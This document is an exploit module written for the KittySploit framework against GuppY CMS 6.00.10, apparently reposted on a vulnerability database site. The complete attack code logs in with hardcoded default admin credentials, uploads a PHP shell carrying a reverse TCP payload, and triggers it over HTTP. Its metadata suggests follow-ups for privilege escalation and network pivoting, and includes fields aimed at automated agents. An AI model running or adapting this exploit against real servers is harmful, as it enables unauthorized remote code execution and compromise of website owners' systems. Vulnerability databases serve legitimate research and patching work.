GuppY CMS 6.00.10 - Remote Code Execution
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from urllib.parse import urlencode
class Module(Exploit, Http_client):
__info__ = {
"name": "GuppY CMS 6.00.10 - Remote Code Execution",
"description": "GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability. An attacker can authenticate with default credentials and upload a PHP shell to execute arbitrary commands.",
"author": ["indoushka", "KittySploit Team"],
"cve": "",
"platform": Platform.UNIX,
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"platform": Platform.UNIX,
"arch": Arch.PHP,
"category": PayloadCategory.SINGLE,
},
"references": [
"https://www.freeguppy.org/",
"https://packetstorm.news/files/id/168584/"
],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
rhost = OptString("", "Target GuppY CMS hostname or IP", required=True)
rport = OptPort(80, "Target port", required=True)
ssl = OptBool(False, "Use SSL/TLS", required=True)
verify_ssl = OptBool(False, "Verify SSL certificate", required=True)
# Authentication options
username = OptString("Admin", "Admin username", required=False)
password = OptString("rose1337", "Admin password", required=False)
def _login(self):
"""Authenticate to GuppY CMS"""
try:
print_info(f"Attempting to authenticate to {self.rhost}:{self.rport}...")
print_info(f"Username: {self.username}")
# Login URL
login_path = "/guppy/connect.php"
# Login POST data
login_data = {
"connect": "on",
"uuser": "old",
"pseudo": self.username,
"uid": self.password
}
# Make login request with session cookies
response = self.http_request(
method="POST",
path=login_path,
data=login_data,
session=True
)
if not response:
print_error("No response from login endpoint")
return False
# Check if login was successful
# Successful login usually redirects or returns specific content
response_text = response.text if hasattr(response, 'text') else str(response)
status_code = response.status_code if hasattr(response, 'status_code') else 0
# Check for common login failure indicators
if "error" in response_text.lower() or "failed" in response_text.lower():
print_error("Login failed - invalid credentials")
return False
# If we get a redirect or 200, assume login succeeded
if status_code in [200, 301, 302, 303, 307, 308]:
print_success("Authentication successful")
return True
else:
print_error(f"Login failed - HTTP {status_code}")
return False
except Exception as e:
print_error(f"Login failed: {e}")
return False
def _upload_shell(self):
"""Upload PHP shell to the server"""
try:
print_info("Uploading PHP shell...")
# Generate random filename
shell_filename = self.random_text(8) + ".php"
# Create PHP shell payload
# The shell will execute the payload when accessed
shell_content = f"<?php {self.payload} ?>"
# Upload URL
upload_path = "/guppy/admin/admin.php?lng=en&pg=upload"
# Prepare multipart form data (matching POC format)
boundary = "----WebKitFormBoundarygA1APFcUlkIaWal4"
# Build multipart form data exactly as in POC
multipart_data = f"""------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="rep"
file
------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="ficup"; filename="{shell_filename}"
Content-Type: application/x-php
{shell_content}
------WebKitFormBoundarygA1APFcUlkIaWal4--
"""
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
'User-Agent': 'Mozilla/5.0',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9'
}
# Upload the shell
response = self.http_request(
method="POST",
path=upload_path,
data=multipart_data,
headers=headers,
session=True
)
if not response:
print_error("No response from upload endpoint")
return False
status_code = response.status_code if hasattr(response, 'status_code') else 0
if status_code in [200, 301, 302]:
print_success(f"Shell uploaded successfully: {shell_filename}")
return shell_filename
else:
print_error(f"Upload failed - HTTP {status_code}")
return False
except Exception as e:
print_error(f"Upload failed: {e}")
return False
def check(self):
"""Check if target is vulnerable"""
try:
print_info(f"Checking {self.rhost}:{self.rport} for GuppY CMS 6.00.10...")
# Try to access GuppY CMS
try:
response = self.http_request(
method="GET",
path="/guppy/",
timeout=10
)
if not response:
return {
'vulnerable': False,
'reason': 'No response from server',
'confidence': 'low'
}
response_text = response.text if hasattr(response, 'text') else str(response)
# Check for GuppY CMS indicators
if 'guppy' in response_text.lower() or 'guppy' in response.headers.get('Server', '').lower():
# Try default login
if self._login():
return {
'vulnerable': True,
'reason': 'GuppY CMS detected and default credentials work',
'confidence': 'high'
}
else:
return {
'vulnerable': True,
'reason': 'GuppY CMS detected (authentication may be required)',
'confidence': 'medium'
}
else:
return {
'vulnerable': False,
'reason': 'GuppY CMS not detected',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Cannot connect: {e}',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {e}',
'confidence': 'low'
}
def run(self):
"""Execute the exploit"""
try:
print_info(f"Target: {self.rhost}:{self.rport}")
print_warning("GuppY CMS 6.00.10 - Authenticated Remote Code Execution")
# Step 1: Authenticate
if not self._login():
print_error("Authentication failed. Try different credentials.")
fail.Message("Exploit failed: Authentication failed")
return False
# Step 2: Upload shell
shell_filename = self._upload_shell()
if not shell_filename:
print_error("Shell upload failed")
fail.Message("Exploit failed: Shell upload failed")
return False
# Step 3: Execute payload via uploaded shell
print_info("Executing payload via uploaded shell...")
shell_path = f"/guppy/file/{shell_filename}"
# Access the shell to trigger payload execution
response = self.http_request(
method="GET",
path=shell_path,
timeout=30
)
if not response:
print_error("Failed to execute shell")
fail.Message("Exploit failed: Failed to execute shell")
return False
status_code = response.status_code if hasattr(response, 'status_code') else 0
if status_code == 200:
print_success("Payload executed successfully!")
else:
print_warning(f"Shell accessed but returned HTTP {status_code}")
print_info("Payload may still have executed - check your listener")
except Exception as e:
print_error(f"Exploitation failed: {e}")
fail.Message(f"Exploitation failed: {e}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
6.7Medium risk
Vulners AI Score6.7